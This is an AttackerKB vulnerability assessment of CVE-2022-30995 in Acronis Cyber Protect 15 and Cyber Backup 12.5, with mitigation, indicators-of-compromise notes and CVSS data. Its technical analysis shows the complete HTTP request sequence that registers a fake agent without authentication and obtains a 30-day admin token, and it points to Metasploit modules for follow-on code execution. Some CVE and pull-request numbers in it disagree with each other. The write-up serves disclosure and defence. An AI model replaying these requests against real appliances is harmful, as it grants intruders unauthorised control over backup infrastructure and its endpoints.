h00die-gr3y's assessment of CVE-2022-30995

Description

Sensitive information disclosure due to improper authentication. The following products are affected: Acronis Cyber Protect 15 (Windows, Linux) before build 29486, Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545.

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h00die-gr3y (126)

October 23, 2024 8:29am UTC (4 weeks ago)•

Ratings

Attacker Value

Very High

Exploitability

Very High

Common in enterprise Easy to weaponize Gives privileged access Unauthenticated Vulnerable in default configuration

Technical Analysis

After my previous attackerkb article CVE-2023-45249 on Acronis Cyber Infrastructure with the default password vulnerability, I became curious what else could be found in the Acronis cyber suite of applications.
Quickly, I bumped into a security advisory usd-2022-0008 of usd HeroLab explaining a serious security flaw in the Acronis Cyber Protect 15 and Acronis Cyber Backup 12.5 appliance that allows unauthenticated attackers to gain full admin access on the Acronis appliance.

The origin of the security flaw arises from the fact that agents installed on endpoints can register without any authentication on the appliance.
Probably, this design decision was taken in order to ease the automation of agent registrations on many endpoints. Unfortunately, the agent registration access is on the level of admin and can be misused to gain full control on the appliance and all the registered endpoints. This makes it a very attractive target for malicious actors with, potentially, a very large attack surface.

The advisory of usd HeroLab describes the attack sequence for Acronis Cyber Protect 15 which will not work for the Acronis Cyber Backup 12.5 vulnerable versions.

Below is the attack sequence that works for both releases 15 and 12.5.

First step: Get the first access token

POST /idp/token HTTP/1.1
Host: 192.168.201.6:9877
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://backup.acronis.com
Content-Length: 19
Connection: keep-alive

grant_type=password

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 1436
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:00:54 GMT
Pragma: no-cache
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block

{"access_token":"[REDACTED access_token]","token_type":"bearer","expires_in":86399,"id_token":"REDACTED"}

Second step: Register an agent using the access_token
Note: you can generate your own client_id uuid.

POST /api/account_server/v2/clients HTTP/1.1
Host: 192.168.201.6:9877
Accept: */*
Authorization: Bearer [REDACTED access_token] 
Content-Type: application/json
Content-Length: 219
Connection: keep-alive

{"client_id":"51088f07-76df-4933-8382-ce8ad4c58401","data":{"agent_type":"backupAgent","hostname":"cuckoo.evil.corp","is_transient":true},"tenant_id":"","token_endpoint_auth_method":"client_secret_basic","type":"agent"}

Response

HTTP/1.1 201 Created
Cache-Control: no-cache
Content-Length: 1217
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:01:11 GMT
Pragma: no-cache
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block

{"client_id":"51088f07-76df-4933-8382-ce8ad4c58401","version":0,"client_secret":"ph3mhvz4xqyhx3jk62dten6tau6xjo32qgy6svify5tt5zzgbmnm","registration_access_token":"kp24vdxcku7xgpn72ufnq5sjoi5odggiz2wb4ta4mqls66zkbvge","registration_client_uri":"https://192.168.201.6:9877/api/account_server/clients/51088f07-76df-4933-8382-ce8ad4c58401","type":"agent","tenant_id":"00000000-0000-0000-0000-000000000000","data":{"agent_type":"backupAgent","hostname":"cuckoo.evil.corp","is_transient":true},"token_endpoint_auth_method":"client_secret_basic","_href":"/api/account_server/v2/clients"
,"_links":[{"rel":"get","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"delete","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"update","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"add_access_policy","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401/access_policies"},{"rel":"access_policies","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401/access_policies"}]
}

Last step: Use the client_id and client_secret to get the admin access token

POST /idp/token HTTP/1.1
Host: 192.168.201.6:9877
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 143
Connection: keep-alive

grant_type=client_credentials&client_id=51088f07-76df-4933-8382-ce8ad4c58401&client_secret=ph3mhvz4xqyhx3jk62dten6tau6xjo32qgy6svify5tt5zzgbmnm

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 816
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:01:25 GMT
Pragma: no-cache
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block

{"access_token":"[REDACTED admin_token]","token_type":"bearer","expires_in":2591999}

And with this admin access_token (valid for 30 days), an unauthenticated attacker can use all the API calls at free will.

For instance, get the version information of the appliance.

GET /api/ams/versions HTTP/1.1
Host: 192.168.201.6:9877
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
Accept: application/json
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Referer: http://192.168.201.5:9877/
Accept-Encoding: gzip, deflate, br
Authorization: Bearer [REDACTED admin_token]
Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Cache-Control: no-cache
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:01:45 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: session=eyJBQ1JPU0VTU0lPTiI6IldRZkxnNllVaC0zUldTdTEifQ.GfaQuQ.OAc_hunx2cL18m0_i9RM2dlfoho; Expires=Sun, 20-Oct-2024 13:11:45 GMT; Max-Age=600; HttpOnly; Path=/
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Content-Length: 73

{"apiVersions":0,"backendVersion":"12.5.11010","buildNumber":"12.5.3710"}

This is of course pretty bad, because you can now pull all configurations of the registered endpoints at the appliance using the admin token in combination with an simple API call GET /api/ams/resources?embed=details.
And this information can be used to plan subsequent attacks targeting specific endpoints, such as domain controllers or other interesting infrastructure.

I have created a Metasploit module with PR 19852 that exploits this vulnerability and gathers all endpoint information registered at a vulnerable appliance.
This information can then be used in another Metasploit module PR 19583 that actually performs a remote code execution in order to gain root or administrator access on the targeted endpoint. A more detailed explanation can be found in the attackerkb article CVE-2022-3405.

Mitigation

Please patch your appliance to the latest supported version or at least a build version above Acronis Cyber Protect 15 (Windows, Linux) build 29486 or
Acronis Cyber Backup 12.5 (Windows, Linux) build 16545.

Indicators of Compromise (IOC)

Unfortunately, there is not much to go on because all requests are genuine requests and the dummy agent registration does not show up in the activity or alert list at the web console on the appliance.

References

CVE-2022-30955
Security advisory usd-2022-0008
Acronis Cyber Protect/Backup Downloads
Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure
Metasploit PR 19583 – Acronis Cyber Backup/Protect RCE

Credits goes to

Sandro Tolksdorf of usd AG for the discovery of this vulnerability.

CVSS V3 Severity and Metrics

Data provided by the National Vulnerability Database (NVD)

Base Score:

7.5 High

Impact Score:

3.6

Exploitability Score:

3.9

Vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector (AV):

Network

Attack Complexity (AC):

Low

Privileges Required (PR):

None

User Interaction (UI):

None

Scope (S):

Unchanged

Confidentiality (C):

High

Integrity (I):

None

Availability (A):

None

Vendors

acronis

Products

cyber backup 12.5,
cyber protect 15

References

Canonical

CVE-2022-30995 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30995)

Miscellaneous

https://security-advisory.acronis.com/advisories/SEC-3855

Rapid7

Very High

CVE-2022-30995

Very High

Very High

None

None

Network

CVE-2022-30995

Description

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Ratings

Technical Analysis

Mitigation

Indicators of Compromise (IOC)

References

Credits goes to

CVSS V3 Severity and Metrics

General Information

Vendors

Products

References

Canonical

Miscellaneous

Additional Info

Technical Analysis

Very High

CVE-2022-30995

Very High

Very High

None

None

Network

CVE-2022-30995

Description

Add Assessment

Ratings

Technical Analysis

Mitigation

Indicators of Compromise (IOC)

References

Credits goes to

CVSS V3 Severity and Metrics

General Information

Vendors

Products

References

Canonical

Miscellaneous

Additional Info

Technical Analysis

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